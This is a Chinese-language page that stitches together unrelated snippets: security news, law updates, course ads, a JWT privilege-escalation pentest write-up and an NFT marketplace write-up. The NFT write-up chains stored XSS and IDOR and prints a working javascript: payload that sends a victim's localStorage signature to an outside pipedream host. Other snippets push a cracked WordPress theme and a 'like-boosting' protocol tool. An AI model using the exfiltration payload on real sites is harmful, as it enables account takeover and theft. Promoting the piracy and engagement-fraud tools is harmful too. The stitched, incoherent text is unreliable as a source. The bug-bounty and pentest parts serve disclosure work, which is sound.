简单介绍： 在一次某行动暂停之后，某单位重新对自身的业务进行了评估，系统业务使用SSO进行登录，而这个SSO登录后的子系统访问采用JWT进行认证，因此有了这一个漏洞的发生，漏洞利用较为简单，各位师傅请见谅。  Oracle WebCenter在这个业务中，登陆口的校验是采用Oracle WebCenter进行认证的，也就是说在系统最初的登录，流量是走到Oracle WebCenter中进行认证的。Oracle WebCenter是面向社交业务的用户参与平台。其上下文相关的协作工具可优化人员、信息和管理软件间连接，帮助员工更高效地协作，并可确保用户在其所处的业务流程环境下访问适当的信息。简单的来说它有点像一个简单的OA系统。  JWTJTW全程是Json Web Token,是目前最流行的跨域认证解决方案。之前遇到的JWT漏洞情况，可能大多数都是在一开始的登录验证下，通过修改token字段以三个点分割的BASE64字符串。第一个字符串为JWT头，一般base64解码后长这样  {“kid”:”keys/3c3c2ea1c3f213f649dc9389dd71b851",”typ”:”JWT”,”alg”:”RS256"} 第二个字符串为账户 {"sub":"admin"} 第三个字符串为签名签名一般不能直接用base64解出来，因为它可能常带有下划线，签名获取的过程稍微比较复杂，不过我们可以知道签名是为了防止数据被篡改，而签名使用的算法就是我们的哥字符串JWT头的Json字段alg。 大部分JWT常用的三种关于利用Token的攻击方式：未校验签名，禁用hash，爆破弱秘钥此部分内容可以参考https://xz.aliyun.com/t/2338其中，未校验签名的情况，我们可以直接修改的那个账户字符串，既 {"sub":"xxxx11111这里修改，然后重新生成Token，如果没有校验签名则可以进行越权"} 禁用Hash,既第一个JWTheader头的alg值为None,我们可以将HS256篡改为None，然后使用Python pyjwt进行Token的生成。 最后爆破弱秘钥是最常见的，也是比较现实的一种情况利用脚本来进行爆破 https://github.com/ticarpi/jwt_tool 本次的场景 首先打开网页，需要通过SSO的oracle webcenter认证，在进入系统中，存在许多业务，而对于子业务系统的认证，则采用的是JWT的认证。接下来将从流程来讲解此次漏洞的挖掘。 1、因为这里没有截图了，所以只能用文字描述。首先，在进入系统后，很多业务选项按钮，比如物流系统，金融系统。我们点击金融系统的时候，会发出第一个包，通过Oracle Webcenter来校验当前账户是不是有效，如果有效，则返回一个Json格式的S。 2、在验证了当前的账户有效的时候，会发出第二个包，请求一个OAM接口想获取一个JWT token，这个OAM接口会带上Cookie字段的Sessionid值，证明自己账户现在的状态真的是有效的，当这个OAM接口后接受SessionId的值后，就会返回一个JWT authorizationToken值。 3、当获取了JWT authorizationToken值后，证明JWT认可了你这个账户了，那么此时系统在第三个包发生的时候自动带上JWT authorizationToken字段放到header头去请求资源，此时系统返回UID等敏感信息 4、没错！越权来了。第三个包返回的信息其中的UID和JWT authorizationToken作为凭证来对这个子业务系统进行访问。但是这里的UID和JWT authorizationToken并没有做严格校验，导致可以通过遍历UID来实现越权访问 看到这个是不是就是我们非常熟悉的JWT认证Token值，以点分割三个成三个的base64编码字符串，这个User Token作为这个子系统访问认证的最后一关 5、其实到第4步的时候，漏洞利用就结束了，其实就是一个简单的越权而已，但是我想把后面的几个过程也简单一下。既然成功越权了，那么这一步系统就开始逐渐返回属于这个系统原本的东西了。这里利用UID和Token获取系统的分组权限信息。 6、获取此账户在这个系统中未读取得信息 7、在get请求处获取了UID值，为了获取菜单信息。而我们也可以通过此处的越权，更方便的爆破ID。 8、获取baseinfo，账户的基本信息，内容   9、最后一个包，获取剩余信息，例如按钮，选项之类。 因此整个利用的漏洞非常简单，通过第7步的API来进行爆破，然后再逐步放入第4步的UID修改包中，那么就可以实现对此子业务系统的任意用户登录了。 越权前后的两个截图比较，多了两个功能，并且两张图的账户名都为AAA，原因是因为auth Token记录的第二个base64字符串记录的就是账号信息，而这个账号信息从始至终都未改变，因此账户名不变，而权限管控在UID部分。也是比较不应该了。 修复 恢复authorizationToken，同时校验uid、user、authorizationToken中的用户是否一致在渗透测试的时候，尽量不要放过每一个包，多看看抓包的history的记录。对于菜鸡来说，渗透就在于细心与更细心罢了。     原文于：https://xz.aliyun.com/t/8288原文作者：Icepaper...

毕业生盗取全校学生信息？中国人民大学最新通报； 7月1日，有网友发文称，中国人民大学一硕士毕业生盗取全校学生个人信息，制作颜值打分网站供人查看，被泄露的信息包含学号、姓名、学院、家乡、生日等。“人大泄露信息”话题登上热搜，引发广泛关注。 网友发文称，该男生在校期间利用自己的专业技能，盗取了学校内网的数据，收集了全校本硕博学生的个人信息，包括照片、姓名、学号、籍贯、生日等，然后公开发布在一个网站上进行颜值打分。 中国人民大学发布通报： 昨日，学校已关注到我校部分学生信息被非法获取的情况，对此高度重视，第一时间联系警方，目前正积极配合警方等相关部门开展调查。学校强烈谴责侵犯个人隐私、危害信息安全的行为。 感谢社会各界对学校的关心。 7月起 一批网络安全相关新规将开始施行! 7月起，一批网络安全相关新规将开始施行!一起来了解一下↓↓↓ 新修订的《中华人民共和国反间谍法》7月1日起施行 新修订的反间谍法，7月1日起施行。新修订的反间谍法将“投靠间谍组织及其代理人”，“针对国家机关、涉密单位或者关键信息基础设施等实施网络攻击”等行为明确为间谍行为。在“调查处置”一章中，增加查阅调取数据、传唤、查询财产信息、不准出入境等行政执法职权。 新修订的《商用密码管理条例》7月1日起施行 国务院总理李强日前签署国务院令，公布修订后的《商用密码管理条例》，自2023年7月1日起施行。修订后的《条例》重点规定了以下内容：一是完善商用密码管理体制;二是促进商用密码科技创新与标准化建设;三是健全商用密码检测认证体系;四是加强电子认证服务使用密码和电子政务电子认证服务活动管理;五是规范商用密码进出口管理;六是促进商用密码应用。 《合同行政监督管理办法》7月1日起施行 市场监管总局修订出台《合同行政监督管理办法》，于2023年7月1日起正式施行。《管理办法》加强了对格式条款的规制，禁止经营者利用格式条款作出减轻或者免除自身责任、加重消费者责任、排除或者限制消费者权益的规定，要求经营者在使用格式条款时应当以显著方式提请消费者注意，切实保障消费者的知情权、自主选择权等权益。 新版《中华人民共和国无线电频率划分规定》7月1日起施行 日前，工业和信息化部发布了新版《中华人民共和国无线电频率划分规定》，将于7月1日起正式施行。在本次《划分规定》修订中，工业和信息化部率先在全球将6425-7125MHz全部或部分频段划分用于IMT(国际移动通信，含5G/6G)系统。6GHz频段是中频段仅有的大带宽优质资源，兼顾覆盖和容量优势，特别适合5G或未来6G系统部署，同时可以发挥现有中频段5G全球产业的优势。 新型进网许可标志正式启用 工业和信息化部近日发布《工业和信息化部关于启用和推广新型进网许可标志的通告》，决定启用和推广新型进网许可标志，逐步替代原纸质标志。2023年7月1日起，正式启用新型进网许可标志。2023年7月1日至12月31日期间，生产企业可以向工业和信息化部(电信设备认证中心)申请使用新型进网许可标志，也可以继续申领、使用原进网许可纸质标志。2024年1月1日起，全面推广新型进网许可标志。届时，将不再核发原进网许可纸质标志，此前已核发的纸质标志在进网许可有效期内仍然有效，可继续使用。 《人类遗传资源管理条例实施细则》自7月1日起施行 细则明确中央和地方在人类遗传资源管理方面的职责，推动建立一体化的监督管理机制;明晰管理界限，强化关键环节管控;在行政许可、备案、安全审查各个环节完善程序性规定，强化监督检查和行政处罚的具体措施。采集我国人类遗传资源，应当事先告知人类遗传资源提供者采集目的、采集用途、对健康可能产生的影响、个人隐私保护措施及其享有的自愿参与和随时无条件退出的权利，征得人类遗传资源提供者书面同意。 《广州市快递条例》7月1日起实施 《广州市快递条例》于7月1日起实施。《条例》规定快递企业使用智能快件箱、快递服务站等方式投递快件的，应当事先征得收件人的同意，并告知快件投放的地址、免费保管期限以及超时保管收费标准等信息。 《浙江省数据知识产权登记办法(试行)》7月1日起施行 《浙江省数据知识产权登记办法(试行)》将于今年7月1日起施行，这是全国首个数据知识产权领域规范性文件。《登记办法》是浙江省构建数据基础制度的一项重大制度创新，对数据知识产权登记主体、客体、原则、程序、登记证书效力及部门职责等作出全面规范，为数据知识产权登记提供了制度保障。...

  围观地址：https://weibo.com/2479238731/N7y1D29Ma ...

课程介绍 Nacos官方社区核心贡献者授课，带你高效 Get相关知识点，Nacos作为一个开源的动态服务发现、配置和服务管理平台，在微服务架构中扮演着重要的角色。本文将深入解读Nacos的核心原理，并探讨其在微服务架构中的应用和优势。...

通过百度网盘分享的文件：苹果小游戏无限撸... 链接：  提取码：0000  复制这段内容打开「百度网盘APP 即可获取」...

前言：为什么要自己搭建网盘，现在许多大厂的网盘，文件都添加了许多限制，有好多文件会遭到和谐，而且大部分网盘也都会限速，不开通VIP是很难用的！【这套网盘不仅文件不会和谐，而且还会给部署运营的带来盈利和流量】 大家好，今天给大家带来一套可以运营的网赚网盘，代码无加密可以进行二次开发。下载UI和城通网盘差不多，还有一套蓝奏云的下载UI 首页也是进行美化了，用户登录可以实现公众号扫码登录，下载也可以设置限速，开通会员，还有在线转存功能。下载页面带有二维码自动获取。 链接格式和蓝奏云一样，防止自己存的文件被盗用，  像一般的下载链接格式：域名/s/123456，然后就是继续排序域名/s/1234567这类型的， 现在链接是域名/s/随机数   好了，废话不多说直接开始部署搭建   1.先把源代码下载下来，把域名解析到服务器   把文件上传到服务器，这里我用的面板就不用宝塔了，用cpanel   先把域名解析到服务器，解析了pan.99x.top这个域名到116.206.106.72这个服务器，然后上传网盘源码   解析以后在面板绑定域名，好了域名绑定上了，现在就等解析生效，我们先把网盘源码上传进去，   上传进去我们设置运行目录为public， PHP版本7.2   这里说明伪静态： Apache伪静态 <IfModule mod_rewrite.c>  RewriteEngine on  RewriteBase /  RewriteCond %{REQUEST_FILENAME} !-d  RewriteCond %{REQUEST_FILENAME} !-f  RewriteRule ^(.*)$ index.php?s=/$1 [QSA,PT,L] </IfModule>   nginx伪静态   location / {     if (!-e $request_filename) {     rewrite  ^(.*)$  /index.php?s=/$1  last;     } }...

课程介绍 算法学得好，工作不愁找。不过对于很多非科班出身的程序员来说，学好算法是一件有难度的事情，知识版块多、理论性强、技术落地复杂，付出大量精力仍不一定学得好。本课程由兼具丰富信息学竞赛辅导经验+多年大厂从业经验的老师设计并讲解，在系统化梳理算法中高阶知识框架的基础上，结合实际工业需求与编程实践，带大家在吃透高难理论的同时掌握其真正优质的应用实践。...

据报道，西门子能源公司德国慕尼黑和施耐德电气公司法国吕埃尔-马尔迈松这两家关键基础设施行业的工业控制系统（ICS）供应商已被网络犯罪团伙CL0P列为勒索软件受害者，但是否有针对性的攻击尚未得到证实。 该勒索软件团伙（也称为TA505）从2023年5月27日开始利用MOVEit Transfer（一款面向互联网的自动文件传输Web应用程序）中的漏洞，据报道该团伙已经列出了全球数百家公司的名单。据威胁网络安全情报平台FalconFeeds6月27日在推文中称，CL0P勒索软件组织在其暗网泄密网站中将西门子能源、施耐德电气和其他一批实体列为新的受害者。 > CL0P [\#ransomware](https://twitter.com/hashtag/ransomware?src=hash&ref_src=twsrc%5Etfw) group has added five new victims: > > – > – Schneider Electric () > – Siemens Energy () > – UCLA () > – Abbie ()[\#MOVEIT](https://twitter.com/hashtag/MOVEIT?src=hash&ref_src=twsrc%5Etfw) [\#Cl0p](https://twitter.com/hashtag/Cl0p?src=hash&ref_src=twsrc%5Etfw) [\#DarkWeb](https://twitter.com/hashtag/DarkWeb?src=hash&ref_src=twsrc%5Etfw) [\#DeepWeb](https://twitter.com/hashtag/DeepWeb?src=hash&ref_src=twsrc%5Etfw) [\#CyberRisk](https://twitter.com/hashtag/CyberRisk?src=hash&ref_src=twsrc%5Etfw) [pic.twitter.com/mTpLZdCzbW](https://t.co/mTpLZdCzbW) > > — FalconFeedsio (@FalconFeedsio) [June 27, 2023](https://twitter.com/FalconFeedsio/status/1673604012460118016?ref_src=twsrc%5Etfw) 西门子能源公司在一份声明称，它已了解这一预警，并将继续与政府合作伙伴和客户密切合作，以确定这些说法是否属实。“我们拥有一支世界一流的事件响应团队，我们还有一个ProductCERT组织，负责在发生漏洞或攻击事件时进行披露。”一位公司官员指出。 CL0P的阴险手段 CL0P因其使用特定的恶意软件感染MOVEit Transfer的Web应用程序的能力，然后使用该恶意软件从MOVEit Transfer底层数据库窃取数据，而受到美国联邦政府的审查。美国网络安全和基础设施安全局（CISA）和联邦调查局（FBI）在6月7日发布的联合网络安全咨询（CSA）中建议采取行动和缓解措施，以防范先前未知的结构化查询语言（SQL）注入漏洞（CVE-2023-34362）。 CISA表示：“CL0P出现于2019年2月，由CryptoMix勒索软件变体演变而来，在大规模鱼叉式网络钓鱼活动中被用作勒索软件即服务（RaaS），这些活动使用经过验证和数字签名的二进制文件来绕过系统防御。”。 CISA建议采取的防止或减轻影响的步骤包括，统计实体资产和数据清单、仅授予特定的管理权限，以及激活防火墙和路由器等网络基础设施设备上的安全配置。 此外，美国国务院根据正义悬赏的任务，于6月16日悬赏高达1000万美元，奖励那些将CL0P勒索软件团伙或任何其他针对美国关键基础设施的恶意网络行为者与外国政府联系起来的线索。 > Advisory from [@CISAgov](https://twitter.com/CISAgov?ref_src=twsrc%5Etfw), [@FBI](https://twitter.com/FBI?ref_src=twsrc%5Etfw): > > Do you have info linking CL0P Ransomware Gang or any other malicious cyber actors targeting U.S. critical infrastructure to a foreign government? > > Send us a tip. You could be eligible for a reward.[\#StopRansomware](https://twitter.com/hashtag/StopRansomware?src=hash&ref_src=twsrc%5Etfw) [pic.twitter.com/fAAeBXgcWA](https://t.co/fAAeBXgcWA) > > — Rewards for Justice (@RFJ\_USA) [June 16, 2023](https://twitter.com/RFJ_USA/status/1669740545403437056?ref_src=twsrc%5Etfw) 西门子能源公司强调调查正在进行中 ---------------- 西门子能源公司一位官员表示，该公司在工业网络安全方面投入巨资，已立即采取行动，调查小组正在努力核实此次攻击。与大多数行业实体一样，该公司将其官方立场传达给电力信息共享和分析中心（E-ISAC）、北美电力可靠性公司（NERC）的威胁情报共享网络。这位官员表示，西门子能源客户还通过其ProductCERT团队共享信息，该团队管理西门子能源产品、解决方案和服务中所有与安全相关的问题。 这位官员补充道：“随着这些事情的实时发展，我们描述发生了什么以及如何发生的能力将变得更加准确。”“我们正在对CL0P勒索软件组织的帖子进行初步调查和回应。” 这位官员指出，最初的48小时通常涉及“从内部和外部各方收集大量信息，以确保我们如实报告正在发生的情况”。他说：“很可能，在接下来的几天和几周内，更多信息将继续出现，而在幕后，我们将继续直接与我们的行业合作伙伴和客户合作。” OT环境的勒索软件威胁 NERC在其新发布的《2023年可靠性状况》报告中强调了勒索软件对电力行业日益增长的威胁。2022年，虽然没有报告与网络攻击相关的客户或大型电力系统中断的报告，但指定的美国电力可靠性组织（ERO）表示收到了8份网络安全事件报告（CIP-008-6）或攻击尝试。 2022年，勒索软件并未影响大宗电力系统，但E-ISAC警告称，威胁继续针对关键基础设施。联邦实体正在特别关注针对信息技术（IT）和运营技术（OT）环境的勒索软件代码的开发。 NERC指出，勒索软件“继续影响行业和主要供应商”。“虽然经济利益往往是跨国勒索软件团伙的主要动机，但其中一些团伙也可能在俄罗斯等民族国家对手的默许支持下开展活动。” 与此同时，在2022年，联邦调查局收到了800多份来自关键基础设施运营商的勒索软件犯罪投诉。这包括15个来自能源部门的实体，如电力资产所有者和运营商。“顶级勒索软件变种包括LockBit、ALPHV/BlackCat和Hive。勒索软件团伙还针对值得信赖的第三方电力承包商，如工程公司、建筑服务和原始设备制造商。” 该实体表示，E-ISAC在通过全方位公告提高行业对这些事件的认识方面发挥了至关重要的作用。E-ISAC还特别与行业和政府专家合作，制定了“电力行业ICS’ShieldsUp’注意事项”，这是一份针对其成员的通知，旨在协助实体改进对OT恶意软件和勒索软件威胁的响应。此外，CISA最近启动了 #StopRansomware 活动，帮助各种规模的企业和基础设施运营商为此类攻击做好准备。...

台积电遭攻击 黑客用数据威胁索要7000万美元赎金； 2023年7月1日，台积电近日向国外科技媒体TechCrunch证实，公司遭到了网络攻击，部分数据泄露。台积电发言人表示，本次网络安全事件导致“与服务器初始设置和配置相关”的数据泄露，但台积电客户信息并未受到影响。 官方声明如下：台积电经过审查，本次网络安全事件并未影响台积电的业务运营，也没有泄露台积电的任何客户信息。台积电在事件发生之后，立即根据公司的安全协议和标准操作程序，终止与该供应商的数据交换。勒索集团LockBit宣称对本次安全事件负责，官方在其网站上列出了相关数据，并索要700 万美元(约5.08亿元人民币)赎金。 LockBit表示，如果台积电不付款，它还将发布密码和登录信息。LockBit表示相关数据是从Kinmax Technology窃取的，该公司为台积电提供网络，云计算，存储和数据库管理等IT服务。 生成的照片连AI鉴别器都看不出来，AI被自己骗了！ 以假乱真的AI生成式图片，AI自己分辨不出来了。这张马斯克和机器人女友的照片，5个鉴别器里有2个都觉得是真的： 还有这张人类和3米巨人的合照，居然5个鉴别器一致判断为真： 啊这，AI鉴别器似乎不太靠谱的亚子。 这就是《纽约时报》最近做的一项测试，他们找来了市面上五个常见的AI鉴别器，分别喂给它们100多张照片做测试。 结果发现，AI鉴别器不仅会把AI照片错认成真的，也会把真实照片划定为AI生成的。 而且不同鉴别器之间的水平差距也不小。 具体表现如何？一起来看   加点颗粒（Grain）就能骗过鉴别器 在这项测试中一共使用了5个AI鉴别器，分别是：. Umm-maybe Illuminarty A.I or Not Hive Sensity   测试的内容包括AI和人类创作的图片，分别喂给每个鉴别器，看它们会怎样判断。 使用的AI创作工具包括Midjourney、Stable Diffusion、Dall-e等。 《纽约时报》主要展示了这样几个例子。包含5张AI创作的图片，以及2张真人拍的照片。 从统计结果来看，五个鉴别器中只有Hive全部判断正确。 Umm-maybe的表现最差，只判断对了两张图。 举例来看，这张照片是AI生成的，听说还在2月的一场摄影比赛中拿下大奖，这道题就难倒了大部分鉴别器。 但这张纯AI生成的照片，就没有逃过大部分鉴别器的法眼。 对于人类创作的照片，AI鉴别器的正确率比较高，两张照片都只有Umm-maybe鉴别器判断错误。 此外他们还专门测试了艺术画，发现大部分AI鉴别器能判断出这是真人画的。 对比另一幅AI创作的，同样也是四个鉴别器判断正确。 （Umm-maybe啊……是真的不太行）   值得一提的是，如果对AI图像进行一些加工处理，AI鉴别器会失效。 比如这张Nike男的照片，一开始有4个鉴别器判断它是AI生成的。 但如果给图片加一些颗粒，AI鉴别器就会将这张图片的AI含量从99%，判断为仅有3.3%。 最后，我们也测试了一些能上手实测的鉴别器（Umm-maybe、Illuminarty、A.I or Not）。 结果显示，对于“马斯克在苏联”这张图，Umm-maybe觉得它有85%的概率是人类创作的。 Illuminarty觉得它是AI创作的概率仅有5.4%。只有A.I or Not确定了它是AI生成的。 AI鉴别的判断标准是啥？   那么AI到底是怎么鉴别真伪的？ 普遍来说，它们和人类的判断标准不太一样，人类一般以图像内容的合理性为依据，而AI更多是从图像的参数入手，比如像素的排列方式、清晰度、对比度等。 所以这就解释了开头那张巨人照片，为啥所有鉴别器都觉得很真。 在AI画画大火一年多以后，如今市面上已经出现了非常多鉴别器。有的就是直接放在Hugging Face上供大家免费使用，有的则是已经成立公司，只提供API接口形式。比如Hive就是一家提供商业解决方案的公司，从如上的测试结果可以看到，Hive的表现效果也是最好的，几乎都能判断正确。而在这之前他们的主要业务是为平台网站提供数据审核服务，图像视频文字都支持，服务的平台有Reddit、Quora等。. ...

ChatGPT这种通用大语言模型（相比谷歌和微软的网络安全大语言模型）可以根据URL检测网络钓鱼网站吗？近日，卡巴斯基研究人员测试了5265个URL（2322个钓鱼网址和2943个安全网址）。研究人员向ChatGPT（GPT-3.5）提出了一个简单的问题：“此链接是否指向网络钓鱼网站？仅根据URL的形式，AI聊天机器人的检出率为87.2%，误报率为23.2%。”“虽然检出率非常高，但超过两成的假阳性率是不可接受的，这意味着五分之一的网站都会被封锁。”卡巴斯基首席数据科学家Vladislav Tushkanov说。Tushkanov尝试了更为简单的问题：“这个链接安全吗？”结果要差得多：检出率为93.8%，假阳性率高达64.3%。事实证明，更笼统的提示更有可能导致ChatGPT判定链接是危险的。. 更多的数据点能大幅提升检测能力 NTT Security Japan的研究人员进行了同样的测试，但给ChatGPT更多提示：网站的URL，HTML和通过光学字符识别（OCR）从网站中提取的文本。 测试方法概述（来源：NTT Security）他们用1000个网络钓鱼站点和相同数量的非网络钓鱼站点测试了ChatGPT。研究者使用OpenPhish、PhishTank和CrowdCanary来收集网络钓鱼站点，用Tranco列表用创建非网络钓鱼站点列表。他们要求ChatGPT识别所使用的社会工程技术和可疑元素，在评估页面上识别品牌名称，判断该网站是网络钓鱼网站还是合法网站（以及原因）以及域名是否合法。“GPT-4的实验结果展示出了巨大的潜力，精度为98.3%。GPT-3.5和GPT-4之间的比较分析显示，后者减少假阴性的能力有所增强。”研究人员指出。研究者指出，ChatGPT擅长正确识别策略，例如虚假恶意软件感染警告、虚假登录错误、网络钓鱼短信身份验证请求以及识别不合法的域名，但偶尔无法识别域名抢注和特定的社会工程技术，如果合法域名有多个子域名，则无法识别合法域名等。此外，当使用非英语网站进行测试时，ChatGPT的效果并不好。“这些发现不仅表明大语言模型在有效识别网络钓鱼站点方面的潜力，而且对加强网络安全措施和保护用户免受在线欺诈活动的危险具有重大意义。”研究人员总结道。. ...

最新方法安卓苹果都可以卡，根据截图教程一步步操作即可截图装B！ 1、找一个你想卡国服的英雄，在国标榜上随便点开一个人的主页！ 2、点击英雄->点你想卡的英雄详细信息（比如我想卡诸葛亮就点诸葛亮） 3、进来诸葛亮的详细信息后，点个人荣誉 4、随后返回游戏开始界面->点击 对战 ->点击 练习场 5、将左下角练习英雄改为 想卡国标的英雄后 点 英雄之路 6、点英雄之路后 即可看见 帅气的大国标 可以点分享看见英雄具体数据截图发朋友圈装X   ...

  软件介绍 快速管理高效收款通知工具，支持本地语音播报及线上/线下支付系统自定义对接。 它可以用于线下商铺或小卖部，支持多种支付方式，如微信支付、支付宝、QQ等。 此外【永不不掉线】监听收款，还可以记录订单信息并本地保存。 通过使用这个工具，您可以快速接收到收款通知，并且可以通过语音播报及时了解订单 情况，方便管理和统计。 完全适配市面上流行各种大型支付系统对接监听回调使用【小呆支付，V免签，mym码支付，彩虹易支付，源支付，自定义对接任何系统】...

价值一万的秒热评协议 可以瞬间点赞几百几千几万等本教程附协议项目过于暴力 仅供揭秘 请勿传播 请勿用于非法操作废话不多说,实力证明一切值不值一万 自己看实操即可...

某源码网站近5000源码数据打包文件，使用的WordPress程序，主题是zibll子比主题。我看了下资源包里面是正版的主题，需要自己找一个破解版替换掉，网上都找得到。带视频教程 链接：https://pan.quark.cn/s/4377a14d7fd8 ...

7月1日，农历五月十四，星期六 在这里，每天60秒读懂世界 1、29日晚，湖南湘西遭遇强降雨天气，多地发生内涝，河水漫过桥梁，多辆汽车被洪水冲走，暂无人员伤亡报告； 2、30日，山西临汾侯马西站一男子在车站内持刀刺伤两人，致一人死亡，嫌犯已被控制；30日下午，山东临沂一轿车闯红灯被撞失控冲入人群，造成9人受伤，附近商户：肇事司机是一名女子，疑似踩错了刹车； 3、河北邯郸3名小学生在河渠不幸溺亡，家属：现场没任何安全标志。村民：河渠水不多，但淤泥很深。当地：多部门正在处理此事；广西扶绥县一教师在医院水箱溺亡，官方回应：排除他杀，此前精神状态很不好。知情人：或是抑郁； 4、成都街头一新能源车在行驶途中电池脱落引热议，疑似吉利枫叶，吉利客服：已转相关部门调查核实； 5、上海：7月1日起，最低工资标准从2590元调整到2690元，小时最低工资标准从23元调整到24元； 6、苏州小伙楼顶站数小时后跳下身亡，围观者曾起哄"不跳不是人"，警方通报：67岁男子发表怂恿跳楼等不当言论，被行拘。央媒：法律不会放过怂恿跳楼者； 7、台媒：美国防部再批2项对台军售，价值高达4.4亿美元，包括弹药和提供后勤保障支持，已是拜登上台以来第10次。中方回应：坚决反对；美战略研究机构报告：若台海爆发冲突，台湾撑不过90天； 8、亚马逊Kindle中国电子书店正式停止运营，无法再购买新的电子书，退款业务已开启； 9、外媒：法国骚乱持续发酵，已有667人被捕，249名警察受伤，马克龙提前离开欧盟峰会回国； 10、当地30日，美股三大指数集体高开，苹果市值突破3万亿美元大关，创历史新高，相当于10个贵州茅台； 11、美国防部：数月前击落的中国无人飞艇"没有收集情报"；美媒：美国接近批准向乌克兰提供陆军战术导弹系统，射程约为305公里，可能扭转战局； 12、联合国教科文组织通过决议，允许美国7月31日重返教科文组织，中国对最终决议投了反对票；阿根廷：计划使用人民币结算方式支付到期外债； 13、荷兰正式宣布实施半导体出口管制，外交部回应：不符合任一方利益。阿斯麦解释：并非所有浸润式DUV设备都受限； 14、日媒：欧盟拟撤销对日本福岛等地食品进口限制。欧盟尚未证实； 15、尹锡悦大肆吹嘘韩国是"全球枢纽"，还暗批前政府是"叛国势力"且被中国看不起；韩国大幅抬高投资移民门槛，获永居资格的存款标准由275万元提升为825万元人民币，并维持5年不取； 【微语】礼貌，是因为是陌生。主动，是因为在乎。不联系，因为是多余。...

这是我在 NFT 市场中发现的一个令人兴奋的安全问题，它允许我通过链接 IDOR 和 XSS 来接管任何人的帐户，以实现完整的帐户接管漏洞。 我们将用实际流程来覆盖每个漏洞，然后将所有这些问题串联起来 XSS →IDOR → 账户接管 我们先从XSS开始 注意：我们将目标应用程序称为vulnerablemarketplace.com 关于此应用程序：在此应用程序中，每个请求都通过签名进行验证，该签名的作用类似于 cookie 或身份验证标头。 漏洞1：存储型XSS 与其他应用程序一样，它有一个个人资料部分，用户可以在其中上传个人资料图片/上传艺术作品/更新个人简介/电子邮件/添加 Instagram 或 Telegram 等社交链接 所以我做的最基本的步骤是将我的 Twitter 和 Instagram 链接保存为 javascript:alert(document.domain) ，当我保存我的信息并单击 Twitter 或 Instagram 图标时，javascript 被执行，这确认我们在nft 市场 复现步骤 1.使用钱包登录我的vulnerablemarketplace.com nft 帐户 2.然后导航到我的个人资料设置并将我的 Instagram 和 Twitter 链接保存为 javascript:alert(document.domain) 这是帖子请求： 3.每当我们点击我们的个人资料 Twitter 或 Instagram 图标时，XSS 就会被执行 漏洞 2：idor 修改任何用户的个人资料详细信息 关于漏洞：攻击者可以修改用户的个人资料信息，包括联系电子邮件、Twitter 或 Instagram 链接，这里唯一的要求是我们需要获取受害者的钱包地址（这已经是区块链上的公开信息，因为每个用户都共享一个钱包地址）某人或其他人）。 要求：受害者钱包地址（我们可以轻松获得，因为用户与其他用户共享此地址，并且地址是公共信息） 复现步骤 设置：我创建了两个帐户 A. 攻击者 B. 受害者（复制受害者钱包地址） 1.攻击者将他的钱包连接到vulnerablemarketplace.com 2.转到他的个人资料设置并在电子邮件、Twitter 链接上输入任何随机信息，并在任何代理工具 (BURP) 中捕获请求 3.从攻击者的角度来看，此帖子请求中的一些参数非常有趣，包括 acccount_address、signer 和签名。 account_address=用户钱包地址 签名者=与账户地址相同 签名 = 充当身份验证令牌或 cookie 来正确验证用户的请求 4.我将攻击者的account_address修改为受害者的账户地址并发送请求 5.是的！！！我们能够用我们自己的价值观修改受害者用户的个人资料。我们能够使用我们自己的控制值修改受害者的电子邮件、Twitter、Instagram 链接 注意：有些人可能会有疑问，如果我们能够修改受害者的电子邮件，那么帐户就已经被接管了?？不，因为这是一个 NFT 应用程序，所以没有电子邮件身份验证，我们必须使用钱包扩展进行连接（我们需要窃取受害者签名，以便我们可以使用它来窃取 NFT 或艺术品） 打造漏洞利用链 到目前为止，我们已经有了一个 IDOR 和一个 Stored XSS。我本可以与其他用户共享我的个人资料来窃取数据，但通过链接此 IDOR，我们可以修改信誉良好的用户的个人资料详细信息以增加影响 需要记住的事情：应用程序没有 cookie，但将签名值存储在浏览器 localStorage 中，因此我们将制作有效负载来窃取该签名值 复现步骤 1.在 Burp 等代理工具中捕获更改个人资料信息的 POST 请求 2.修改此负载的 Instagram 和 Twitter 链接。 3.我们对签名值特别感兴趣，因为这是发出每个请求所必需的。签名值存储在 localStorage 中，因此这里是 javascript 有效负载，我们将使用它来窃取该值并将其发送到我们的 pipelinedream urljavascript:token=JSON.stringify(localStorage),url='https://mypipedream.m.pipedream.net/'+token,fetch(url) 4.修改account_address为受害者钱包地址 5.请求并完成:) 一旦受害者点击他的 Instagram 或 Twitter 链接或用户访问受害者用户的个人资料，XSS 将被执行，用户的签名值将被泄露到我的服务器 现在您可以看到我们使用 XSS 窃取了受害者的签名。现在我们可以提出任何其他请求来执行其他经过身份验证的操作，例如出售艺术品或转让或删除用户的艺术品 漏洞披露 非常感谢您花时间阅读这篇文章。    ...

今年不少人都感觉互联网氛围越来越严峻，绝大部分平台、项目都趋向于规范化，放眼望去，似乎阳光、正规、合法、长期的项目离自己很遥远。想启动这一类型项目，除非有充足的资金准备或者有强大的资源作为支撑，否则将举步维艰。 虽然互联网项目层出不穷，但坑也很多，乱花渐欲迷人眼。但只要肯细心观察，还是可以发现适合自己操作的好项目，比如闲鱼就是其中之一。 众所周知，闲鱼是阿里旗下的二手物品交易平台，据相关数据显示，该平台的活跃用户与日俱增，主要以80后、90后为主，产品需求日益多样化，物美价廉的商品逐渐成为主流趋势，早在去年一年，闲鱼的成交金额已逾千亿，市场不容小觑。 有人的地方，就有流量，有流量的地方，肯定就有营销。 目前我的团队也在操作这个项目，下面就把操作实操方法分享给大家，之所以分享给大家，是因为这个项目是没有竞争对手，市场足够大，希望这一次的分享能给您带来帮助。 之所以分享闲鱼项目，因为门槛较低，几乎不用投入什么成本，不管您是个人，还是团队，只要您手上有一部手机就可以操作，兼职还是全职都可以。 接下来我实战一步步告诉你。 一、新手小白如何操作闲鱼? 想做好闲鱼，首先就要解决闲鱼号的问题。闲鱼号，顾名思义就是淘宝号，一个人可以注册3个。做这个项目，不光要有闲鱼号，还要有高权重的闲鱼号，就是支付宝的芝麻分数最好在650以上，如果您没达到也没关系，芝麻分数可以通过按时还款、支付宝缴纳物业水电费和租借充电宝等守信行为去涨分。...

